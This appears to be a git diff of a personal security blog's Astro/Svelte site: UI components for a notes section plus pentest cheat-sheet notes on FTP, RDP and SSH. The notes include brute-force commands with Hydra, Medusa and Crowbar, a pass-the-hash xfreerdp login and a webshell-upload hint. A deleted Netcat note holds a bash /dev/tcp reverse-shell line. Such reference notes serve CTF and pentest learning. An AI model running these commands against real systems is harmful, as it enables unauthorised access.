entry: CollectionEntry<"notes">;
|
||||
graphNodes: { id: string; title: string; current: boolean }[];
|
||||
graphEdges: { from: string; to: string }[];
|
||||
forwardLinks: CollectionEntry<"notes">[];
|
||||
backlinks: CollectionEntry<"notes">[];
|
||||
externalLinks: { url: string; label: string }[];
|
||||
}
|
||||
|
||||
const { entry, graphNodes, graphEdges, forwardLinks, backlinks, externalLinks } = Astro.props;
|
||||
---
|
||||
|
||||
<aside
|
||||
id="right-sidebar"
|
||||
class="w-52 flex flex-col border-l border-base-300/60 h-full overflow-y-auto"
|
||||
style="background: oklch(4% 0 0);"
|
||||
>
|
||||
<div class="border-b border-base-300/40">
|
||||
<p
|
||||
class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest px-3 pt-3 pb-2"
|
||||
>
|
||||
graph
|
||||
</p>
|
||||
<NoteGraph client:load nodes={graphNodes} edges={graphEdges} />
|
||||
{
|
||||
graphNodes.length < 2 && (
|
||||
<p class="font-mono text-[9px] text-base-content/20 text-center py-2">
|
||||
no connections yet
|
||||
</p>
|
||||
)
|
||||
}
|
||||
</div>
|
||||
|
||||
{
|
||||
forwardLinks.length > 0 && (
|
||||
<div class="p-3 border-b border-base-300/40">
|
||||
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">
|
||||
links
|
||||
</p>
|
||||
<ul class="space-y-1">
|
||||
{forwardLinks.map((n) => (
|
||||
<li>
|
||||
<a
|
||||
href={`/notes/${n.id}`}
|
||||
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate"
|
||||
>
|
||||
→ {n.data.title}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
{
|
||||
backlinks.length > 0 && (
|
||||
<div class="p-3">
|
||||
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">
|
||||
backlinks
|
||||
</p>
|
||||
<ul class="space-y-1">
|
||||
{backlinks.map((n) => (
|
||||
<li>
|
||||
<a
|
||||
href={`/notes/${n.id}`}
|
||||
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate"
|
||||
>
|
||||
← {n.data.title}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
{
|
||||
forwardLinks.length === 0 && backlinks.length === 0 && (
|
||||
<div class="p-3">
|
||||
<p class="font-mono text-[9px] text-base-content/20">
|
||||
no linked notes
|
||||
</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
{
|
||||
externalLinks.length > 0 && (
|
||||
<div class="p-3 border-t border-base-300/40">
|
||||
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">
|
||||
external
|
||||
</p>
|
||||
<ul class="space-y-1">
|
||||
{externalLinks.map(({ url, label }) => (
|
||||
<li>
|
||||
<a
|
||||
href={url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate"
|
||||
title={url}
|
||||
>
|
||||
↗ {label}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
<div class="px-4 pt-4 pb-1 border-t border-base-300/40 mt-auto">
|
||||
<time
|
||||
datetime={entry.data.publishDate.toISOString()}
|
||||
class="font-mono text-[10px] text-base-content/30 uppercase tracking-widest"
|
||||
>
|
||||
{formatDate(entry.data.publishDate)}
|
||||
</time>
|
||||
</div>
|
||||
<div class="px-4 py-4">
|
||||
<Author />
|
||||
</div>
|
||||
</aside>
|
||||
@@ -0,0 +1,152 @@
|
||||
<script lang="ts">
|
||||
import { slide } from "svelte/transition";
|
||||
import { untrack } from "svelte";
|
||||
|
||||
interface Note {
|
||||
id: string;
|
||||
data: { title: string; tags: string[]; category?: string };
|
||||
body?: string;
|
||||
}
|
||||
|
||||
interface Props {
|
||||
notes: Note[];
|
||||
currentEntry?: Note;
|
||||
currentCategory?: string;
|
||||
categories: string[];
|
||||
}
|
||||
|
||||
const { notes, currentEntry, currentCategory, categories }: Props = $props();
|
||||
|
||||
let search = $state("");
|
||||
|
||||
function getCategory(n: Note): string {
|
||||
if (n.data.category) return n.data.category;
|
||||
const parts = n.id.split("/");
|
||||
return parts.length > 1 ? parts[0] : "General";
|
||||
}
|
||||
|
||||
function extractInlineHashtags(body: string): string[] {
|
||||
const re = /#(\w+)/g;
|
||||
const tags: string[] = [];
|
||||
let m;
|
||||
while ((m = re.exec(body)) !== null) tags.push(m[1].toLowerCase());
|
||||
return [...new Set(tags)];
|
||||
}
|
||||
|
||||
function matchesSearch(note: Note): boolean {
|
||||
const raw = search.toLowerCase().trim();
|
||||
if (!raw) return true;
|
||||
const isTag = raw.startsWith("#");
|
||||
const term = isTag ? raw.slice(1) : raw;
|
||||
const title = note.data.title.toLowerCase();
|
||||
const tags = [
|
||||
...note.data.tags,
|
||||
...extractInlineHashtags(note.body ?? ""),
|
||||
].map((t) => t.toLowerCase());
|
||||
return isTag
|
||||
? tags.some((t) => t.includes(term))
|
||||
: title.includes(term) || tags.join(",").includes(term);
|
||||
}
|
||||
|
||||
const activeCategory = $derived(
|
||||
currentCategory ?? (currentEntry ? getCategory(currentEntry) : null),
|
||||
);
|
||||
|
||||
let openCategories = $state<string[]>(
|
||||
untrack(() => categories.filter((c) => c === activeCategory)),
|
||||
);
|
||||
|
||||
function toggle(cat: string) {
|
||||
if (openCategories.includes(cat)) {
|
||||
openCategories = openCategories.filter((c) => c !== cat);
|
||||
} else {
|
||||
openCategories = [...openCategories, cat];
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex flex-col flex-1 min-h-0">
|
||||
<div class="px-3 py-3 border-b border-base-300/40 shrink-0">
|
||||
<div
|
||||
class="flex items-center gap-1.5 px-2 py-1.5 rounded-md bg-base-200/50 border border-base-300/40 focus-within:border-base-300/70 transition-colors"
|
||||
>
|
||||
<span class="text-base-content/30 font-mono text-xs shrink-0">›</span>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="search..."
|
||||
bind:value={search}
|
||||
class="flex-1 min-w-0 bg-transparent text-xs font-mono text-base-content/70 placeholder:text-base-content/25 outline-none"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<nav class="flex-1 min-h-0 overflow-y-auto overflow-x-hidden px-2 py-2 space-y-px">
|
||||
{#each categories as cat}
|
||||
{@const catNotes = notes.filter(
|
||||
(n) => getCategory(n) === cat && matchesSearch(n),
|
||||
)}
|
||||
{#if catNotes.length > 0 || !search}
|
||||
{@const isFolder = notes.some((n) => n.id.includes("/") && getCategory(n) === cat)}
|
||||
<div>
|
||||
<div class="flex items-center w-full">
|
||||
<button
|
||||
onclick={() => toggle(cat)}
|
||||
class="flex items-center gap-1.5 px-2 py-1 rounded-md hover:bg-base-200/40 transition-colors duration-150 shrink-0"
|
||||
>
|
||||
<svg
|
||||
class="w-3 h-3 text-base-content/35 shrink-0 transition-transform duration-200"
|
||||
class:rotate-90={openCategories.includes(cat)}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
stroke-width="2.5"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
>
|
||||
<path d="m9 18 6-6-6-6" />
|
||||
</svg>
|
||||
<span class="text-primary/50 font-mono text-xs shrink-0">/</span>
|
||||
</button>
|
||||
{#if isFolder}
|
||||
<a
|
||||
href={`/notes/${cat}`}
|
||||
class="flex-1 min-w-0 px-1 py-1 rounded-md hover:bg-base-200/40 transition-colors duration-150 font-bold tracking-tight text-sm truncate text-base-content/80 hover:text-base-content"
|
||||
>
|
||||
{cat}
|
||||
</a>
|
||||
{:else}
|
||||
<span class="flex-1 min-w-0 px-1 py-1 font-bold tracking-tight text-sm truncate text-base-content/80">
|
||||
{cat}
|
||||
</span>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if openCategories.includes(cat)}
|
||||
<ul
|
||||
class="ml-4 mt-0.5 pb-1 space-y-px"
|
||||
transition:slide={{ duration: 180 }}
|
||||
>
|
||||
{#each catNotes as note}
|
||||
<li class="tooltip tooltip-right w-full" data-tip={note.data.title}>
|
||||
<a
|
||||
href={`/notes/${note.id}`}
|
||||
class="flex items-center gap-1.5 px-2 py-1 rounded-md text-xs font-mono truncate transition-colors duration-150
|
||||
{currentEntry && note.id === currentEntry.id
|
||||
? 'text-primary/90 bg-primary/10'
|
||||
: 'text-base-content/45 hover:text-base-content/80 hover:bg-base-200/40'}"
|
||||
>
|
||||
<span class="shrink-0 font-mono text-base-content/20">
|
||||
{currentEntry && note.id === currentEntry.id ? "▸" : "–"}
|
||||
</span>
|
||||
<span class="truncate">{note.data.title}</span>
|
||||
</a>
|
||||
</li>
|
||||
{/each}
|
||||
</ul>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
{/each}
|
||||
</nav>
|
||||
</div>
|
||||
@@ -0,0 +1,26 @@
|
||||
---
|
||||
import NoteNavContent from "./NoteNavContent.svelte";
|
||||
import type { CollectionEntry } from "astro:content";
|
||||
|
||||
interface Props {
|
||||
notes: CollectionEntry<"notes">[];
|
||||
currentEntry?: CollectionEntry<"notes">;
|
||||
currentCategory?: string;
|
||||
categories: string[];
|
||||
}
|
||||
|
||||
const { notes, currentEntry, currentCategory, categories } = Astro.props;
|
||||
---
|
||||
|
||||
<aside
|
||||
class="w-56 shrink-0 flex flex-col border-r border-base-300/60 h-full"
|
||||
style="background: oklch(4% 0 0);"
|
||||
>
|
||||
<NoteNavContent
|
||||
client:load
|
||||
notes={notes}
|
||||
currentEntry={currentEntry}
|
||||
currentCategory={currentCategory}
|
||||
categories={categories}
|
||||
/>
|
||||
</aside>
|
||||
@@ -0,0 +1,40 @@
|
||||
---
|
||||
interface Props {
|
||||
headings: { depth: number; text: string; id: string }[];
|
||||
}
|
||||
|
||||
const { headings } = Astro.props;
|
||||
---
|
||||
|
||||
{
|
||||
headings.length > 0 && (
|
||||
<div
|
||||
class="collapse collapse-arrow mb-8 border border-base-300/40"
|
||||
style="background: oklch(4% 0 0);"
|
||||
>
|
||||
<input type="checkbox" />
|
||||
<div class="collapse-title font-mono text-xs text-base-content/35 flex items-center gap-2 py-2 px-3 min-h-0">
|
||||
<span class="text-primary/40">§</span>
|
||||
table of contents
|
||||
</div>
|
||||
<div class="collapse-content px-0 pb-0">
|
||||
<nav class="px-3 pb-3 pt-1 border-t border-base-300/30 space-y-0.5">
|
||||
{headings.map((h) => (
|
||||
<a
|
||||
href={`#${h.id}`}
|
||||
class:list={[
|
||||
"block text-xs text-base-content/45 hover:text-base-content/80 transition-colors py-0.5",
|
||||
h.depth === 3 ? "pl-4" : h.depth === 4 ? "pl-8" : "",
|
||||
]}
|
||||
>
|
||||
<span class="font-mono text-primary/25 mr-1.5">
|
||||
{"#".repeat(h.depth)}
|
||||
</span>
|
||||
{h.text}
|
||||
</a>
|
||||
))}
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<script lang="ts">
|
||||
import { onMount, untrack } from "svelte";
|
||||
|
||||
interface Props {
|
||||
vars: string[];
|
||||
}
|
||||
|
||||
const { vars }: Props = $props();
|
||||
|
||||
let values = $state<Record<string, string>>(
|
||||
untrack(() => Object.fromEntries(vars.map((v) => [v, ""]))),
|
||||
);
|
||||
let open = $state(false);
|
||||
let applied = $state(false);
|
||||
|
||||
const originals = new Map<Text, string>();
|
||||
|
||||
onMount(() => {
|
||||
const content = document.querySelector(".note-content");
|
||||
if (!content) return;
|
||||
const walker = document.createTreeWalker(content, NodeFilter.SHOW_TEXT);
|
||||
let node: Text | null;
|
||||
while ((node = walker.nextNode() as Text | null)) {
|
||||
if (/\$[a-zA-Z_][a-zA-Z0-9_]*/.test(node.nodeValue ?? "")) {
|
||||
originals.set(node, node.nodeValue!);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function applyVars() {
|
||||
const sorted = [...vars].sort((a, b) => b.length - a.length);
|
||||
for (const [node, original] of originals) {
|
||||
let text = original;
|
||||
for (const name of sorted) {
|
||||
const val = values[name];
|
||||
if (val) {
|
||||
text = text.replace(
|
||||
new RegExp(`\\$${name}(?![a-zA-Z0-9_])`, "g"),
|
||||
val,
|
||||
);
|
||||
}
|
||||
}
|
||||
node.nodeValue = text;
|
||||
}
|
||||
applied = true;
|
||||
setTimeout(() => (applied = false), 1800);
|
||||
}
|
||||
</script>
|
||||
|
||||
{#if vars.length > 0}
|
||||
<button
|
||||
onclick={() => (open = true)}
|
||||
class="btn btn-ghost btn-xs font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
|
||||
>
|
||||
<span class="font-mono text-[10px] leading-none">$</span>
|
||||
vars
|
||||
</button>
|
||||
|
||||
{#if open}
|
||||
<dialog class="modal modal-open">
|
||||
<div
|
||||
class="modal-box max-w-sm"
|
||||
style="background: oklch(10% 0 0); border: 1px solid oklch(71% 0.0863 296.59 / 0.5);"
|
||||
>
|
||||
<h3
|
||||
class="font-mono text-[10px] text-base-content/40 uppercase tracking-widest mb-4"
|
||||
>
|
||||
variables
|
||||
</h3>
|
||||
<div class="space-y-2.5">
|
||||
{#each vars as v}
|
||||
<div class="flex items-center gap-3">
|
||||
<label
|
||||
for={`var-${v}`}
|
||||
class="font-mono text-xs text-primary/70 w-36 shrink-0 truncate"
|
||||
title={`$${v}`}
|
||||
>
|
||||
${v}
|
||||
</label>
|
||||
<input
|
||||
id={`var-${v}`}
|
||||
type="text"
|
||||
bind:value={values[v]}
|
||||
placeholder={`$${v}`}
|
||||
class="input input-sm flex-1 min-w-0 font-mono text-xs bg-base-300/20 border-base-300/60 text-base-content/80 placeholder:text-base-content/25 focus:border-primary/60"
|
||||
/>
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
<div class="mt-5 flex items-center justify-between">
|
||||
<span
|
||||
class="font-mono text-[10px] text-primary/60 transition-opacity duration-300"
|
||||
class:opacity-0={!applied}
|
||||
>
|
||||
✓ applied
|
||||
</span>
|
||||
<div class="flex gap-2">
|
||||
<button
|
||||
onclick={applyVars}
|
||||
class="btn btn-ghost btn-xs font-mono text-primary/60 hover:text-primary border border-primary/30"
|
||||
>
|
||||
apply
|
||||
</button>
|
||||
<button
|
||||
onclick={() => (open = false)}
|
||||
class="btn btn-ghost btn-xs font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
|
||||
>
|
||||
close
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<button
|
||||
onclick={() => (open = false)}
|
||||
class="modal-backdrop"
|
||||
aria-label="close"
|
||||
></button>
|
||||
</dialog>
|
||||
{/if}
|
||||
{/if}
|
||||
@@ -0,0 +1,25 @@
|
||||
---
|
||||
import { ArrowRight } from "@lucide/astro";
|
||||
---
|
||||
|
||||
<section id="notes" class="py-10 px-4">
|
||||
<div class="max-w-6xl mx-auto text-center">
|
||||
<div class="text-center mb-12">
|
||||
<h2 class="text-4xl font-bold mb-4">Infosec Notes</h2>
|
||||
</div>
|
||||
|
||||
<div class="mt-8">
|
||||
<p class="text-base text-base-content/70 mb-6">
|
||||
Cheatsheets and references on tools and techniques I use for CTFs and
|
||||
pentesting.
|
||||
</p>
|
||||
|
||||
<div class="text-center mt-12">
|
||||
<a href="/notes" class="btn btn-ghost gap-2">
|
||||
Browse Notes
|
||||
<ArrowRight class="size-4" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
@@ -0,0 +1,150 @@
|
||||
<script lang="ts">
|
||||
import { onMount } from "svelte";
|
||||
|
||||
interface NoteItem {
|
||||
id: string;
|
||||
title: string;
|
||||
description: string;
|
||||
tags: string[];
|
||||
category: string;
|
||||
searchText: string;
|
||||
}
|
||||
|
||||
interface Props {
|
||||
notes: NoteItem[];
|
||||
}
|
||||
|
||||
const { notes }: Props = $props();
|
||||
|
||||
let inputValue = $state("");
|
||||
const query = $derived(inputValue.toLowerCase().trim());
|
||||
|
||||
const categories = $derived([
|
||||
...new Set(notes.map((n) => n.category)),
|
||||
].sort());
|
||||
|
||||
const filtered = $derived.by(() => {
|
||||
if (!query) return notes;
|
||||
const isTag = query.startsWith("#");
|
||||
const q = isTag ? query.slice(1) : query;
|
||||
return notes.filter((n) =>
|
||||
isTag
|
||||
? n.tags.some((t) => t.includes(q)) || n.searchText.includes(`#${q}`)
|
||||
: n.searchText.includes(q),
|
||||
);
|
||||
});
|
||||
|
||||
const visibleCount = $derived(filtered.length);
|
||||
|
||||
onMount(() => {
|
||||
const urlTag = new URLSearchParams(window.location.search).get("tag");
|
||||
if (urlTag) inputValue = `#${urlTag}`;
|
||||
});
|
||||
|
||||
$effect(() => {
|
||||
const url = new URL(window.location.href);
|
||||
if (query.startsWith("#") && query.length > 1) {
|
||||
url.searchParams.set("tag", query.slice(1));
|
||||
} else {
|
||||
url.searchParams.delete("tag");
|
||||
}
|
||||
history.replaceState(null, "", url.toString());
|
||||
});
|
||||
|
||||
function filteredByCategory(cat: string) {
|
||||
return filtered.filter((n) => n.category === cat);
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="mb-12 max-w-sm mx-auto">
|
||||
<label class="input w-full">
|
||||
<span class="text-base-content/25">›</span>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="search or #tag..."
|
||||
bind:value={inputValue}
|
||||
/>
|
||||
</label>
|
||||
<p class="font-mono text-[10px] text-base-content/20 mt-1.5 text-center">
|
||||
use #tag to filter by tag
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="space-y-12">
|
||||
{#each categories as cat}
|
||||
{@const catNotes = filteredByCategory(cat)}
|
||||
{#if catNotes.length > 0}
|
||||
<section>
|
||||
<div class="flex items-baseline gap-3 mb-4">
|
||||
<h2 class="text-xl font-bold tracking-tight">
|
||||
<span class="text-primary/50 font-mono mr-1">/</span>{cat}
|
||||
</h2>
|
||||
<span class="font-mono text-xs text-base-content/25">
|
||||
{catNotes.length} note{catNotes.length !== 1 ? "s" : ""}
|
||||
</span>
|
||||
</div>
|
||||
<div class="border-t border-base-300/40 mb-1"></div>
|
||||
<ul class="divide-y divide-base-300/20">
|
||||
{#each catNotes as n}
|
||||
<li>
|
||||
<a
|
||||
href={`/notes/${n.id}`}
|
||||
class="group flex items-center gap-4 py-3 hover:bg-base-200/30 px-2 -mx-2 transition-colors"
|
||||
>
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex flex-col mb-0.5">
|
||||
<span
|
||||
class="font-semibold text-sm group-hover:text-primary transition-colors"
|
||||
>
|
||||
{n.title}
|
||||
</span>
|
||||
{#if n.description}
|
||||
<span class="text-xs text-base-content/35 truncate">
|
||||
{n.description}
|
||||
</span>
|
||||
{/if}
|
||||
</div>
|
||||
{#if n.tags.length > 0}
|
||||
<div class="flex flex-wrap gap-1 mt-1">
|
||||
{#each n.tags as tag}
|
||||
<span
|
||||
class="badge badge-ghost badge-xs font-mono text-base-content/30"
|
||||
>
|
||||
{tag}
|
||||
</span>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="14"
|
||||
height="14"
|
||||
viewBox="0 0 24 24"
|
||||
fill="none"
|
||||
stroke="currentColor"
|
||||
stroke-width="2"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
class="text-base-content/20 group-hover:text-primary/50 shrink-0 transition-colors"
|
||||
>
|
||||
<path d="m9 18 6-6-6-6" />
|
||||
</svg>
|
||||
</a>
|
||||
</li>
|
||||
{/each}
|
||||
</ul>
|
||||
</section>
|
||||
{/if}
|
||||
{/each}
|
||||
</div>
|
||||
|
||||
{#if visibleCount === 0}
|
||||
<div class="text-center py-20 font-mono text-sm text-base-content/25">
|
||||
no results.
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<p class="text-center font-mono text-xs text-base-content/20 mt-16">
|
||||
{visibleCount} note{visibleCount !== 1 ? "s" : ""} total
|
||||
</p>
|
||||
@@ -10,14 +10,14 @@ const latestRepos = repos.slice(0, 3);
|
||||
<div class="max-w-6xl mx-auto">
|
||||
<div class="text-center mb-12">
|
||||
<h2 class="text-4xl font-bold mb-4">Check out my latest work</h2>
|
||||
<p class="text-lg text-base-content/70">
|
||||
I enjoy the challenge of reimagining existing programs & scripts in my
|
||||
own unique way.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
|
||||
{latestRepos.map((repo) => <GiteaProjectCard repo={repo} />)}
|
||||
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
|
||||
{
|
||||
latestRepos.map((repo) => (
|
||||
<GiteaProjectCard displayBanner={false} repo={repo} />
|
||||
))
|
||||
}
|
||||
</div>
|
||||
|
||||
<div class="text-center mt-12">
|
||||
|
||||
+1
-3
@@ -9,7 +9,7 @@ export interface SocialLinks {
|
||||
twitter?: string;
|
||||
bluesky?: string;
|
||||
instagram?: string;
|
||||
youTube?: string;
|
||||
youtube?: string;
|
||||
codetips?: string;
|
||||
kofi?: string;
|
||||
medium?: string;
|
||||
@@ -23,7 +23,6 @@ export interface SiteConfig {
|
||||
title: string;
|
||||
description: string;
|
||||
avatar: string;
|
||||
location: string;
|
||||
socialLinks: SocialLinks;
|
||||
gpgKey?: string;
|
||||
rssFeed?: string;
|
||||
@@ -39,7 +38,6 @@ export const siteConfig: SiteConfig = {
|
||||
description:
|
||||
"Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧",
|
||||
avatar: "/avatar.png",
|
||||
location: "🇫🇷 France",
|
||||
socialLinks: {
|
||||
github: "https://github.com/anotherhadi",
|
||||
gitlab: "https://gitlab.com/anotherhadi_mirror",
|
||||
|
||||
@@ -19,7 +19,7 @@ const notes = defineCollection({
|
||||
schema: z.object({
|
||||
title: z.string(),
|
||||
description: z.string(),
|
||||
category: z.string(),
|
||||
category: z.string().optional(),
|
||||
tags: z.array(z.string()).default([]),
|
||||
publishDate: z.coerce.date(),
|
||||
}),
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
---
|
||||
title: "Burp Suite - Basics"
|
||||
description: "Intercept, inspect and modify HTTP traffic with Burp Suite."
|
||||
category: "Web"
|
||||
tags: ["burpsuite", "web", "proxy", "http"]
|
||||
publishDate: 2026-04-24
|
||||
---
|
||||
|
||||
Burp Suite is the standard proxy for web app pentesting.
|
||||
|
||||
## Setup
|
||||
|
||||
1. Launch Burp → Proxy → Options → listener on `127.0.0.1:8080`
|
||||
2. Configure browser to use proxy `127.0.0.1:8080`
|
||||
3. Install Burp's CA cert to intercept HTTPS
|
||||
|
||||
## Key Tabs
|
||||
|
||||
| Tab | Use |
|
||||
|-----|-----|
|
||||
| Proxy | Intercept and forward requests |
|
||||
| Repeater | Replay and modify requests manually |
|
||||
| Intruder | Fuzzing and brute force |
|
||||
| Scanner | Automated vulnerability scan (Pro) |
|
||||
| Decoder | Encode/decode data |
|
||||
|
||||
## Useful Shortcuts
|
||||
|
||||
| Shortcut | Action |
|
||||
|----------|--------|
|
||||
| `Ctrl+R` | Send to Repeater |
|
||||
| `Ctrl+I` | Send to Intruder |
|
||||
| `Ctrl+F` | Forward intercepted request |
|
||||
|
||||
## Intercept a Request
|
||||
|
||||
1. Enable intercept → browse the target
|
||||
2. Request appears in Proxy tab
|
||||
3. Modify → Forward
|
||||
@@ -1,46 +0,0 @@
|
||||
---
|
||||
title: "Netcat - Basics"
|
||||
description: "The Swiss Army knife of networking — listen, connect, transfer."
|
||||
category: "Network"
|
||||
tags: ["netcat", "network", "reverse-shell"]
|
||||
publishDate: 2026-04-24
|
||||
---
|
||||
|
||||
Netcat (`nc`) opens raw TCP/UDP connections. Pairs well with [Nmap](/notes/nmap-basics) for recon.
|
||||
|
||||
## Listen & Connect
|
||||
|
||||
```bash
|
||||
# Listen on port 4444
|
||||
nc -lvnp 4444
|
||||
|
||||
# Connect to host
|
||||
nc 192.168.1.1 4444
|
||||
```
|
||||
|
||||
## File Transfer
|
||||
|
||||
```bash
|
||||
# Receiver
|
||||
nc -lvnp 4444 > file.txt
|
||||
|
||||
# Sender
|
||||
nc 192.168.1.1 4444 < file.txt
|
||||
```
|
||||
|
||||
## Reverse Shell
|
||||
|
||||
```bash
|
||||
# Attacker — listen
|
||||
nc -lvnp 4444
|
||||
|
||||
# Victim — connect back
|
||||
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
|
||||
```
|
||||
|
||||
## Banner Grabbing
|
||||
|
||||
```bash
|
||||
nc -nv 192.168.1.1 80
|
||||
HEAD / HTTP/1.0
|
||||
```
|
||||
@@ -0,0 +1,62 @@
|
||||
---
|
||||
title: "FTP"
|
||||
description: "Enumeration, exploitation and post-exploitation techniques for FTP servers."
|
||||
tags: ["ftp", "network", "service"]
|
||||
publishDate: 2026-04-29
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
FTP runs on **port 21** (control) and uses a secondary data channel (port 20 for active, ephemeral port for passive).
|
||||
Common implementations: vsftpd, ProFTPD, Pure-FTPd, FileZilla Server, IIS FTP.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Banner grabbing
|
||||
|
||||
```bash
|
||||
nc -nv $IP 21
|
||||
ftp $IP
|
||||
```
|
||||
|
||||
The banner often reveals the software version: cross-reference with CVE databases.
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
nmap -sV -p 21 $IP
|
||||
nmap -p 21 --script ftp-* $IP
|
||||
```
|
||||
|
||||
Key scripts:
|
||||
|
||||
- `ftp-anon`: checks anonymous login
|
||||
- `ftp-bounce`: tests for FTP bounce attack
|
||||
- `ftp-brute`: brute-force credentials
|
||||
- `ftp-syst`: retrieves system info
|
||||
|
||||
## Anonymous Login
|
||||
|
||||
```bash
|
||||
ftp $IP
|
||||
# Username: anonymous
|
||||
# Password: <empty> or anonymous@
|
||||
```
|
||||
|
||||
If allowed, list and download everything:
|
||||
|
||||
```bash
|
||||
ls -la
|
||||
mget *
|
||||
```
|
||||
|
||||
Check for writable directories: you may be able to upload a webshell if FTP root overlaps with a web root.
|
||||
|
||||
## Brute Force
|
||||
|
||||
```bash
|
||||
hydra -l $user -P ~/wordlists/rockyou.txt ftp://$IP
|
||||
medusa -h $IP -u $user -P ~/wordlists/rockyou.txt -M ftp
|
||||
```
|
||||
|
||||
Try default credentials first: `admin:admin`, `ftp:ftp`, `user:password`.
|
||||
@@ -0,0 +1,46 @@
|
||||
---
|
||||
title: "RDP"
|
||||
description: "Enumeration, exploitation and post-exploitation techniques for RDP servers."
|
||||
tags: ["rdp", "network", "service"]
|
||||
publishDate: 2026-05-04
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
RDP (Remote Desktop Protocol) runs on **port 3389** and provides a graphical remote session.
|
||||
Common on Windows servers and workstations.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Banner grabbing
|
||||
|
||||
```bash
|
||||
nmap -sV -p 3389 $IP
|
||||
nmap -p 3389 --script rdp-* $IP
|
||||
```
|
||||
|
||||
Key scripts:
|
||||
|
||||
- `rdp-enum-encryption`: checks encryption level
|
||||
- `rdp-vuln-ms12-020`: tests for MS12-020 DoS vulnerability
|
||||
|
||||
## Connect
|
||||
|
||||
```bash
|
||||
xfreerdp /u:$user /p:$password /v:$IP
|
||||
xfreerdp /u:$user /p:$password /v:$IP /cert:ignore
|
||||
rdesktop $IP
|
||||
```
|
||||
|
||||
Pass the hash directly (no plaintext password needed):
|
||||
|
||||
```bash
|
||||
xfreerdp /u:$user /pth:$hash /v:$IP
|
||||
```
|
||||
|
||||
## Brute Force
|
||||
|
||||
```bash
|
||||
hydra -l $user -P ~/wordlists/rockyou.txt rdp://$IP
|
||||
crowbar -b rdp -s $IP/32 -u $user -C ~/wordlists/rockyou.txt
|
||||
```
|
||||
@@ -0,0 +1,75 @@
|
||||
---
|
||||
title: "SSH"
|
||||
description: "Enumeration, exploitation and post-exploitation techniques for SSH servers."
|
||||
tags: ["ssh", "network", "service"]
|
||||
publishDate: 2026-05-04
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
SSH runs on **port 22** and provides an encrypted remote shell.
|
||||
Common implementations: OpenSSH, Dropbear, Bitvise.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Banner grabbing
|
||||
|
||||
```bash
|
||||
nc -nv $IP 22
|
||||
ssh $IP
|
||||
```
|
||||
|
||||
The banner reveals the software and version (e.g. `OpenSSH_9.2`).
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
nmap -sV -p 22 $IP
|
||||
nmap -p 22 --script ssh-* $IP
|
||||
```
|
||||
|
||||
Key scripts:
|
||||
|
||||
- `ssh-hostkey`: retrieves the server's public key
|
||||
- `ssh-auth-methods`: lists accepted authentication methods
|
||||
- `ssh-brute`: brute-force credentials
|
||||
|
||||
## Connect
|
||||
|
||||
```bash
|
||||
ssh $user@$IP
|
||||
ssh -p 2222 $user@$IP
|
||||
ssh -i id_rsa $user@$IP
|
||||
```
|
||||
|
||||
## Brute Force
|
||||
|
||||
```bash
|
||||
hydra -l $user -P ~/wordlists/rockyou.txt ssh://$IP
|
||||
medusa -h $IP -u $user -P ~/wordlists/rockyou.txt -M ssh
|
||||
```
|
||||
|
||||
Only viable if password auth is enabled. Check with:
|
||||
|
||||
```bash
|
||||
